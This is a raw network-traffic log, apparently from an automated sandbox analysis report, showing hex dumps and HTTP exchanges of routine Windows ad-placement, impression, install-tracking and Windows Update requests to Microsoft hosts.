4f 3c 6d 73 ce 66 8f c1 96 1f eb ad 3f 67 7b 5d a9 f3 f9 13 df f9 a8 bf f7 c9 c5 78 bf 8c ac 74 3d 53 55 92 4d 2f c6 fe 0b 77 
97 fe 5c 74 ab eb d4 89 22 
Data Ascii: Y1vn5tvS,|~P}u|'7mc}.Xj)wtZv/MuuXDg]eO/Q{'7_[w7O}'{}R_&ia'(O<msf?g{]xt=SUM/w\t"

2022-05-13 14:42:15 UTC 10387 IN Data Raw: b3 db 5c f0 9d e6 9b fe 83 e1 78 34 e9 5b fe 5a 49 aa 5c dc 6c ed fc 75 cf c9 aa 44 be 5c 76 b7 ff 00 62 99 5f 
fd 64 13 fe 83 1c 9f 96 b9 5c a5 4e 77 87 df 6f f3 31 f3 67 ba 78 7f e2 17 8a b5 0b e8 e3 b7 f0 47 84 ac 51 51 bf 79 3f 84 
19 bf 1f 96 33 5b f1 f8 93 e2 2d b9 de be 17 f0 7c eb fc 6f 63 e0 99 f7 7b fd e8 85 79 d7 81 7e 33 7f 61 e8 fe 4c da f5 f4 12 
ef ff 00 96 9e 2c 6b 7f bb fd c1 e5 3f f0 d7 41 27 ed 55 e1 74 fd cb 5a 78 83 54 75 f9 3c bf f8 4b 1b 63 af d7 c9 e4 57 b5 4a 
a4 1c 53 94 f5 f9 04 b7 d0 d8 d4 3e 25 7c 5b 59 23 6b 7f 02 68 f7 49 fc 72 7f c2 27 fe cf fb 40 57 3b 77 f1 a3 e2 1e 9a ef 1
e ad e1 7f 0e d9 36 ff 00 f9 6f e1 ab 65 de bf 9d 69 2f ed 09 f0 e6 f2 49 24 bc f8 4f 3d d7 fd 34 ba d7 da 54 dd ff 00 7c f5 
ad 0b 7f 8e 5f 0a 7c b9 17 fe 
Data Ascii: \x4[ZI\luD\vb_d\Nwo1gxGQQy?3[-|oc{y~3aL,k?A'UtZxTu<KcWJS>%|[Y#khIr'@W;w6oei/I$O=4T|_|

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:15 UTC 10403 IN Data Raw: 7c 45 4d b3 87 e1 bc 72 7f c7 dd ad ed da fc fe 7c 96 bf 3f fd f4 b1 0a 99 5e 6b af e3 fe 46 b1 5c 8c f3 ef 09 fc 
33 f0 fd d4 89 34 de 25 f8 92 fb 7e 46 87 52 be 5b 44 76 f6 f2 c2 d6 9f 89 3e 0e f8 27 54 8f ec b3 69 3e 3b f1 5f f1 f9 71 ea 
92 ec f9 bf db 32 a7 f3 ae f3 50 f0 4f 83 3c 41 1f da 3c fd ef fc 12 47 f7 ff 00 f1 ea e7 f5 4f 85 3e 07 fb 2c f0 9d 59 d2 26 f9 
1e 38 e7 8d 37 fe 79 a4 94 16 cd a2 d4 a6 ce 2a c7 e0 2f 82 b4 db 57 6d 3f c2 9e 30 d0 5d 53 62 4f 06 ae bb d1 7d 99 a4 
7f d6 a3 d4 fe 17 e9 be 1f d3 ee 2e a7 f1 87 c5 7d 12 d6 5f bf 24 3a fd 92 7c bf 56 ab f6 be 11 f0 7f 82 ec 7c c8 7c 4b e2 
d8 2d 19 ff 00 d5 a5 d4 7b 3f ef 91 09 f9 6a 9a fc 48 f0 73 c9 f6 15 d5 bc 41 aa 27 f0 47 3d ae f4 ff 00 d2 6d b5 9c e5 4a fa 
b3 58 c6 6d 5f a9 c8 cd e0 
Data Ascii: |EMr|?^kF\34%~FR[Dv>'Ti>;_q2PO<A<GO>,Y&87y*/Wm?0]SbO}.}_$:|V||K-{?jHsA'G=mJXm_

2022-05-13 14:42:15 UTC 10411 IN Data Raw: 0f 54 d4 3e 6d 91 dd 41 6d 12 3f fb 3b 8c d5 de 7c 1d d0 7e 24 69 36 31 c3 75 e0 4d 0f 50 b4 6f bf 75 06 b7 03 
a2 7f c0 63 3f ca b5 7c 3d a1 e8 7e 15 8f 6c 3f 14 3e 19 6a 31 2f fc b3 7f 0d 41 bf ea 4a ee 3f a5 75 b6 3f 18 3c 1d a3 fe 
e6 1f 88 be 15 b5 95 be 44 8f 4d d3 97 e7 65 f4 1e 55 74 51 c2 d2 8b e6 5a 79 04 a7 3e ba 9d 85 f7 f6 2f 87 f4 7f ed 2f 10 
78 6a d6 04 89 37 cd 24 e8 d7 08 9f 92 9a a9 6b e2 cf 0d 4d fb ef 0d e8 7e 0f bd 99 be 44 8e 39 e4 b7 77 ff 00 c8 75 cd 7f 
c2 ec d3 f5 1b e4 5b 3f 8b 10 79 4d f3 f9 76 ba 24 1b df e8 cc bf d2 a4 ba d5 b4 ad 52 49 e4 6f 89 be 31 f9 bf e5 9d ac fe 
57 e8 90 e6 bd 46 93 d5 9c ce 5c 9a 5b e4 58 bd f8 ad f1 2f 49 9b cb d2 fe 0c e9 d7 b1 2b ff 00 c7 c5 8f 88 95 13 6f e3 b4 
d5 a8 fe 2d 7c 59 d5 a3 dc df 06 27 d9 
Data Ascii: T>mAm?;|~$i61uMPouc?|=~l?>j1/AJ?u?<DMeUtQZy>//xj7$kM~D9wu[?yMv$RIo1WF\[X/I+o-|Y'

2022-05-13 14:42:15 UTC 10427 IN Data Raw: 44 76 a9 ff 00 4e 9f bd 7f d1 45 35 cb 6d af f3 5f e6 3e a6 2b 5f 78 cf 54 82 4f ec 59 f4 78 53 f8 27 ba dc ef fa 
60 57 9f f8 82 df e3 a7 9f e6 43 f1 0b c0 f6 50 af fc b0 ba 8e 48 b6 37 b3 75 af 45 d7 af 3e 25 eb 7a 6c 92 78 67 4e f0 cd 
9d c3 a7 c9 07 88 23 bb 46 fc 87 15 6f c2 b2 7c 4f 48 e3 8f c5 56 1e 1c ba 95 7e fc f6 37 4c 89 ff 00 7c 34 7f d6 b3 d1 bb 
e8 bf af 41 fa 1c 1e 87 a7 fc 5f 8a 18 e4 d6 3e 2a 78 7d d7 7f dc b1 b4 5d 9b 7f de 71 ba 97 5c f1 56 a5 6f 04 96 fa b7 8d 
ec 6e a2 ff 00 a6 68 c8 ff 00 f8 ed 7b 3a cd 78 bb 15 ac 63 7f 9f f8 27 ff 00 eb 53 95 a4 6f 9b ec 89 ff 00 8e d6 d1 92 8f 42 
39 16 da 9f 34 dc 7c 64 4f 0c da f9 37 5e 21 f0 e7 95 fc 1e 64 f7 ee e8 bf ee ac 46 b6 ad ff 00 6a 8f 08 2d af d9 db c5 93 
bd da 22 ef fb 2d 8d db ff 00 ed 
Data Ascii: DvNE5m_>+_xTOYxS'`WCPH7uE>%zlxgN#Fo|OHV~7L|4A_>*x}]q\Vonh{:xc'SoB94|dO7^!dFj-"-

2022-05-13 14:42:15 UTC 10443 IN Data Raw: 77 d3 ca bf f2 f5 ac 5a b4 36 fb bf de e6 bb 6f 0f c3 e2 c9 6d 51 b5 44 d1 d2 56 fb e9 6b e6 7f 5a a3 1d 9f 8f 57 
e6 69 34 a7 ff 00 a6 7e 7c f5 47 5c d1 7c 63 71 b1 61 8e c5 3e 7f f9 67 aa 4a 9f d2 9e 9b 5d 18 fb d1 d5 b6 ce ab c9 d4 e0 
f9 57 ec ae 8d ff 00 2d 37 b5 55 9b 4d be ba 8e 45 68 e0 44 6f b9 e5 cf ff 00 d6 af 2b 5f 02 fc 4a b1 d6 23 b8 9b c7 72 59 
69 ed f7 ed 7c bf b5 be e6 ff 00 6b 15 d6 7f c2 0b e2 e6 8e 46 5f 16 3c e8 df c1 27 c9 ff 00 ea aa b2 5f 69 17 cc ff 00 94 e8 
ad f4 9d 56 ce 3f dd c7 e7 ff 00 7f cc 9e 9d 7d 26 a4 b6 b2 49 25 a6 fd bf 7f f7 fb fe 5a cd d3 7c 3b ab c7 04 7f da 17 73 cc 
ff 00 c7 b2 e9 be 7a af 7d a2 d9 d9 c7 23 47 1e a2 92 ff 00 cf 4d 8b 2f f3 35 5d 7a 0f 55 b1 36 9f e2 0f 0f 45 26 d6 b1 d9 
2b 3f fc b3 81 bf 5a e9 2c ef 
Data Ascii: wZ6omQDVkZWi4~|G\|cqa>gJ]W-7UMEhDo+_J#rYi|kF_<'_iV?}&I%Z|;sz}#GM/5]zU6E&+?Z,

2022-05-13 14:42:15 UTC 10451 IN Data Raw: 5f f9 e7 b1 76 51 ea 4b 56 56 48 a7 1f 86 f4 5b af f4 8b 7b 7b 57 7f e0 f3 13 7d 68 47 6a d6 b1 f9 71 c1 07 fd 
b3 4a a9 25 f5 de 9f 22 43 6f a4 ef 8b ee 3c 89 22 a5 5a fe d2 95 64 78 5a c6 4d cb fe df c9 54 f9 87 64 24 97 17 3e 5f ee 
ed 13 77 fd 34 da 94 46 b2 dd 41 fb c8 36 3b 55 ab 79 16 7f bd 1b c2 d5 22 c3 b7 ef 3d 4d c6 72 ba a6 83 3d bc ff 00 68 
b5 d3 64 bd 76 f9 fc bf b5 6c fc b3 52 5a ea 1a 84 5f 35 d7 86 be cb b5 ff 00 e7 ea 37 ae 89 9a 75 93 e5 8f 7a ff 00 bf 4d 
dd ba 0f df 47 5a 73 74 61 63 25 bc 4d 03 4f e5 ec 81 25 ff 00 a6 8e b5 0c 7e 20 56 92 4f 2e 3b 5d 9f f4 cd f7 d6 b4 76 b1 
37 cd 1c 11 bf fc 02 a3 9a cd 5a 3d be 44 09 ff 00 00 fe 54 7b bd 89 57 21 d3 6f af ae a7 76 b8 48 12 2f f9 63 e4 56 84 91 
ee 8f e6 f9 ff 00 df aa f6 b0 c9 14 7b 59 
Data Ascii: _vQKVVH[{{W}hGjqJ%"Co<"ZdxZMTd$>_w4FA6;Uy"=Mr=hdvlRZ_57uzMGZstac%MO%~ VO.;]v7Z
=DT{W!ovH/cV{Y

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

102 192.168.2.3 49928 20.82.210.154 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:33 UTC 10467 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220513T234233Z&lc=en-US&pl=en-US&i
dtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=b421f3b73bf64b279bb057f3fcb21d43&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1513822&metered=false&nettype=ethernet&npid=sc-
310091&oemName=qiylvt%2C%20Inc.&oemid=qiylvt%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=qiylvt7%2C
1&tl=2&tsu=1513822&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAWTgoqHjO5aJbbzxFht334Zi+ziJh9kN
kHxTMAW6wtF8aT8VakbVgtRR/7W+laAsHqlMKDwm+p01IX+B/OjNb0juLQJvw3HBJDnAHKRkOzWE9DasBXVemvUooz
ZcpwSM9/V3K+skDtv6fcTB23W5eFQ6vRki6EXxDZrj4geDDVMKQqesrDw/m6p+Rmt/p7ozRCt90JsBPSwVYD9zAlHQ
Td7hbi3G07Qm04GvvISHqHcJ2uLSsxENNgLhhGbt2H99JOPtu8RT/qNDqhtnk/ZTocudbe5SKXbrwv/aVQZmnmAQ+K
P4CzFFc5paxkNeOlkAFvCpxCmKfiUhYvQmlf9xFaQDZgAACPo6XBZf8pxTqAFib3/swDuq7KiKPCPTeUiX7wfesfMj
GbdxkjgDco+jHKnPQJXfhq43l3e222tPt31AWjz6zrKhmLI7kNrjydSqhoPDI3lkbHbDQmJ9ZBgIrhWJHIZxEgr7e/
7JMBv0pWtbfSUJs5lUdkk4dRDEepE6NaYpS+/jf6a/qG4p7qH2S0SCKEHzuKm/aIukHQySnMqV/3TT04n2iLi1Lsgo
gOdkx+2vQzUKaAbgES/fMEivaZtlL5auI7Tv/WJpGwyZAP28cVkW8Vb8CBvPL2VvkJiOm+zSGuu0uLEinpghsWiCMK
mEZbnSIKvyjhHfnaTL5/SWfjy3Wg29TTTKK84wBYYyk4wsAeVIOp9Q/b2Vh9M6PDmhCcyWRvMgC5Z8y7S3QVNJxynj
2d/47RB+uEyui9wKpdIB6dqWe5pJ890UJDV4Fz1gvxcu48mEVJNyJWuLfdRijMavI3XRD0I6vUj0zDgC2U5o2IUDzu
J5cpRk+MjDzh80ivFbCw0J+BxBi7sBja53g+il1g6/ypCnd/N2wG6VVV9iXH/QyZYyX16m/zmA1CvvAGudVhmX1QE=&p=
Cache-Control: no-cache
MS-CV: 919nfyGIMEqSATjt.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive
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2022-05-13 14:42:33 UTC 10469 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 167
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}]
X-ARC-SIG: R4AnOVY2AjcfLETrDLKrp8gR8P/85f+b1MwmHgqzPyQJXlcR8SaysnGF+FtEiF8mo6kA1YPNAN4tpFr
O9C5TFfgsy5kAfzuxrE6QP7m+zwd2RuRHvfW2L3z83ZDAHCY7TqeQqazBRp6m5nlntJK7ZHrRbXvkkDP19YMZ1XWGZ
cj1SW2d2Wpa+DNVXP6oKjlGGCAU917GoQeaQ5umMyWMT3R/fH6zCBvxwaOYXXY1xC/bNrItGFAI+0SAxIKi7wEl4w6
bblscgWKYCOsVd771VH0SmgSAdWC88oghTDO58898/tXltGXd8wezZrxLL/ZDdP9qFjwcmR228aTF8WoOTA==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 13 May 2022 14:42:33 GMT
Connection: close

2022-05-13 14:42:33 UTC 10470 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 
22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 
73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 
20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 35 2d 31 
33 54 31 38 3a 34 32 3a 33 33 22 7d 7d 
Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No e
ligible content.)."}],"refreshtime":"2022-05-13T18:42:33"}}

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

103 192.168.2.3 49929 20.82.210.154 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:47 UTC 10470 OUT POST /v3/Delivery/Events/Impression HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Content-Length: 2788
Content-Type: text/plain; charset=UTF-8
Host: arc.msn.com
Connection: Keep-Alive
Cache-Control: no-cache

2022-05-13 14:42:47 UTC 10470 OUT Data Raw: 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 54 49 44 3d 37 30 30 33 34 32 30 38 35 26 43 49 44 3d 31 32 38 
30 30 30 30 30 30 30 30 31 33 39 32 37 32 39 26 42 49 44 3d 31 35 31 30 39 31 36 38 32 30 26 50 47 3d 50 43 30 30 30 
50 30 46 52 35 2e 30 30 30 30 30 30 30 49 51 38 26 54 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 52 45 51 41 53 49 44 
3d 45 41 46 33 30 39 33 38 33 41 34 30 34 45 42 35 38 46 41 46 31 39 43 36 39 43 39 34 33 46 38 39 26 41 53 49 44 3d 
39 36 61 30 30 65 37 63 61 36 37 30 34 38 34 33 39 34 65 64 64 64 34 31 32 39 39 32 36 35 61 64 26 54 49 4d 45 3d 32 
30 32 32 30 35 31 33 54 32 33 34 32 31 38 5a 26 53 4c 4f 54 3d 32 26 52 45 51 54 3d 32 30 32 32 30 35 31 33 54 31 34 
33 39 35 33 26 4d 41 5f 53 63 6f 72 65 3d 32 26 4c 4f 43 41 4c 49 44 3d 77 
Data Ascii: PID=425106558&TID=700342085&CID=128000000001392729&BID=1510916820&PG=PC000P0FR
5.0000000IQ8&TPID=425106558&REQASID=EAF309383A404EB58FAF19C69C943F89&ASID=96a00e7ca6704843
94eddd41299265ad&TIME=20220513T234218Z&SLOT=2&REQT=20220513T143953&MA_Score=2&LOCALID=w

2022-05-13 14:42:47 UTC 10473 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/xml; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: []
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 13 May 2022 14:42:47 GMT
Connection: close
Content-Length: 0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

104 192.168.2.3 49930 52.152.110.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:53 UTC 10473 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=52mu3Ytu1dbNXNh&MD=xY6EXTMt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
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2022-05-13 14:42:53 UTC 10473 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 85f32405-2dfd-4e94-9137-5c3ec23eb95b
MS-RequestId: b5dd336d-a1db-4fcc-a606-3d0f3fd13ded
MS-CV: dg76o2/nR0uzHcGm.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 13 May 2022 14:42:52 GMT
Connection: close
Content-Length: 35877

2022-05-13 14:42:53 UTC 10474 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-13 14:42:53 UTC 10489 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-13 14:42:53 UTC 10505 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

105 192.168.2.3 49933 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:55 UTC 10509 OUT GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&c
id=128000000001392729&tid=700342085&reqasid=90a9351948c94419823b21a4fcd3b2c1&region=US&lang=EN-US&oe
m=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid
=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i
.t&asid=96a00e7ca670484394eddd41299265ad&time=20220513T234159Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:42:55 UTC 10510 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 2436083f-b202-47c1-9081-97492a96df3a
Date: Fri, 13 May 2022 14:42:55 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

106 192.168.2.3 49932 52.152.110.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:55 UTC 10510 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=52mu3Ytu1dbNXNh&MD=xY6EXTMt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-13 14:42:55 UTC 10511 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: b7be0b9b-0420-4e16-94d4-bd9fcf2e729d
MS-RequestId: 4ba66c9b-abf3-4992-b1a4-c8fd256587a6
MS-CV: kcRtWQt1tkyDfnh3.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 13 May 2022 14:42:54 GMT
Connection: close
Content-Length: 35877

2022-05-13 14:42:55 UTC 10511 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-13 14:42:55 UTC 10527 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-13 14:42:55 UTC 10543 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
